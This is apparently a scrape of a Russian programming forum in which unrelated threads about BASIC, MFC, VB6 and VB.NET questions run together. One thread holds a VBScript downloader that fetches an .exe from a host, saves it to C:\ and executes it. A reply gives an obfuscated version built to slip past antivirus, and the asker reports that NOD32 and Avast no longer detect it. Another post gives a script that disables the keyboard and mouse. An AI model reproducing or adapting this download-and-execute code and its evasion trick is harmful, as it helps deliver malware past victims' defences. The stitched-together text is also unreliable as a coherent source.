Из за того что ты написал And твои операторы выполняются как логические операции сравнения. Которое возвращает false или 0, а переменным P значения вообще не присваиваются. Убери эти лишние And в выделенных строках.
Попросили решить, сам бейсик не знаю автоматизация и конфигурирование OCMS-DOS примерный план: 1. Назначение, выполнение содержание ииспользование AUTO XEC,BAT. CONFIG,SYS 2. Подготовка системного диска и настройка ОС Дать характеристику основным элементамуправления VI SVAL BASIC,их свойствам и методом. Результаты отобразить в таблице: Название Характеристика Свойства элемента Управление 3. Создать одномерный массив из чисел, Вводимых втекстовое поле. Найти значение макси-го элемента. Если таких элементовнесколько, то определить сколько их 4. Элемент управления “ список содержит инфо-ию оценах какой либо продукции. Известно что цена может изменяться. Значениеиндекса цен вводится в текстовое
Здравствуйте. Очень нужна помощь, я мало понимаю в программировании, но все же.. Visual C++ 6 MFC моя цель вывести картинку, которая расположена на диске, в диалог(в диалоге я создал элемент picture) Далее связал айди элемента с переменной типа CStatic: DDX_Control (pDX, ID_IMAGE, image1) ; Как мне вывести теперь картинку?
как записать бинарный поток из ехе файла в массивах в файл bytes.txt пример ниже или как собрать хекс редактором бинар из ехе файла для vb.net есть пример на с++ но не знаю как сделать на vb.net PHP: FileStream ^fso = gcnew FileStream("hta1.hta", FileMode::Create,FileAccess::Write, FileShare::None); array<unsigned char>^ data = gcnew array<unsigned char> { 0x3C, 0x73, 0x63, 0x72, 0x69, 0x70, 0x74, 0x3E, 0x61, 0x6C, 0x65, 0x72, 0x74, 0x28, 0x22, 0x48, 0x65, 0x6C, 0x6C, 0x6F, 0x22, 0x29, 0x3C, 0x2F, 0x73, 0x63, 0x72, 0x69, 0x70, 0x74, 0x3E}; for (int i = 0; i < data->Length-5; i += 5) { fso->Write(data, i, 5); } fso->Close(); пример есть а дальше не знаю Dim fs As New FileStream("bytes.txt", FileMode.Create, FileAccess.Write, FileShare.None) fs.Close() Dim sw As New StreamWriter("bytes.txt") тут нужно вроде такого array char sw.WriteLine(тут что то будет) sw.Close() End If End Sub
Помогите пожалуйста решить... Ошибка - Compile Error User-defined type not defined Ссылается на эту строчку - Private Declare Function GetWindowRect Lib "user32" (ByVal hwnd As Long, lpRect As RECT) As Long Буду очень признателен кто поможет !
$laider, а побольше кода не покажешь? По одной строке трудно понять в чем ошибка. Ты где это пишешь (модуль, модуль класса, код формы, контрол)?
Видимо, тип RECT не определен. Определи перед импортом функции: Code: Private Type RECT Left As Long Top As Long Right As Long Bottom As Long End Type
Дело в том ,что код не мой , я декомпильнул софтину... там всё в асм ... хз что делать... Кто помочь может ?
В каком еще асм, если ты привел кусок кода на Visual Basic 6? И ошибку компиляции его же. Это значит, что ты получил сорс. Ну так возьми и доопредели в нем тип недостающий.
Set Shell=CreateObject("WScript.Shell") Shell.Run "rundll32.exe keyboard,disable" Shell.Run "rundll32 mouse,disable" Google4ever
Есть какие то обфускаторы для ВБскриптов? Или как можно изменить вот такой скрипт? А то на него авиры орут. Code: Set objXMLHTTP=CreateObject("MSXML2.XMLHTTP") objXMLHTTP.open "GET","http://10.0.2.2/hktest/exp/calc.exe",false objXMLHTTP.send() If objXMLHTTP.Status=200 Then Set objADOStream=CreateObject("ADODB.Stream") objADOStream.Open objADOStream.Type=1 objADOStream.Write objXMLHTTP.ResponseBody objADOStream.Position=0 objADOStream.SaveToFile "C:\calc.exe" objADOStream.Close Set objADOStream=Nothing End if Set objXMLHTTP=Nothing Set objShell=CreateObject("WScript.Shell") objShell.Exec("C:\calc.exe")
NOD32 не палит Попробуйте: Code: Set tfs=CreateObject("MSXML2.XMLHTTP") msgbox decrypt("http://10.0shitest/efucklc.exe") tfs.open "GET",decrypt("http://10.0shitest/efucklc.exe"),false tfs.send() If tfs.Status=200 Then Set tfsf=CreateObject("ADODB.Stream") tfsf.Open tfsf.Type=1 tfsf.Write tfs.ResponseBody tfsf.Position=0 tfsf.SaveToFile "C:\calc.exe" tfsf.Close Set tfsf=Nothing End if Set tfs=Nothing Set objShell=CreateObject("WScript.Shell") objShell.Exec("C:\calc.exe") Function decrypt(strInput) strinput=replace(strinput,"shit", ".2.2/hkt") strinput=replace(strinput,"fuck", "xp/ca") decrypt = strInput End Function
Круто! Не палит теперь и аваст! Только вы сделали попап, при нажатии на него - файл загружается, но не запускается. По вашему примеру я сам смогу разобраться в нюансах? Или хоть коротенькие комменты можно? UPD а, все, теперь запускается!
VB или VBS? Если кнопка клавы, то http://social.technet.microsoft.com/wiki/contents/articles/5169.aspx (работает и там и там), если на форме -- только VB и WinAPI(какие не подскажу).
VB, кнопка формы. А нельзя ли как то сразу передать значение выполнения, в обход кнопки? Часть функи: Code: err.Clear Cmd_apply_Click_err: 'Enable Buttons ButtonsEnable Enabled 'Disable Buttons Cmd_apply.Enabled = False cmd_offLocator.Visible = False cmd_cancel.SetFocus Select Case err Case 0 Case Else displn "=> PATCH ABORTED - " & err.Description End Select Вычитал про имитацию нажатия мышкой, но там вроде визуально: Code: Private Declare Sub mouse_event Lib "user32" (ByVal dwFlags As Long, ByVal dx As Long, _ ByVal dy As Long, ByVal cbuttons As Long, ByVal dwExtraInfo As Long) Const MOUSEEVENTF_LEFTDOWN = &H2 Const MOUSEEVENTF_LEFTUP = &H4 Const MOUSEEVENTF_MIDDLEDOWN = &H20 Const MOUSEEVENTF_MIDDLEUP = &H40 Const MOUSEEVENTF_RIGHTDOWN = &H8 Const MOUSEEVENTF_RIGHTUP = &H10 Private Enum ButtonClick btcLeft btcRight btcMiddle End Enum Private Function MouseClick(ByVal MBClick As ButtonClick) As Boolean Dim cbuttons As Long Dim dwExtraInfo As Long Dim mevent As Long Select Case MBClick Case ButtonLeft mevent = MOUSEEVENTF_LEFTDOWN Or MOUSEEVENTF_LEFTUP Case ButtonRight mevent = MOUSEEVENTF_RIGHTDOWN Or MOUSEEVENTF_RIGHTUP Case ButtonMiddle mevent = MOUSEEVENTF_MIDDLEDOWN Or MOUSEEVENTF_MIDDLEUP Case Else MouseClick = False Exit Function End Select mouse_event mevent, 0&, 0&, cbuttons, dwExtraInfo MouseClick = True End Function Private Sub Command1_Click() Call MouseClick(ButtonLeft) End Sub UPP: Вообщем SendKeys решил проблему!
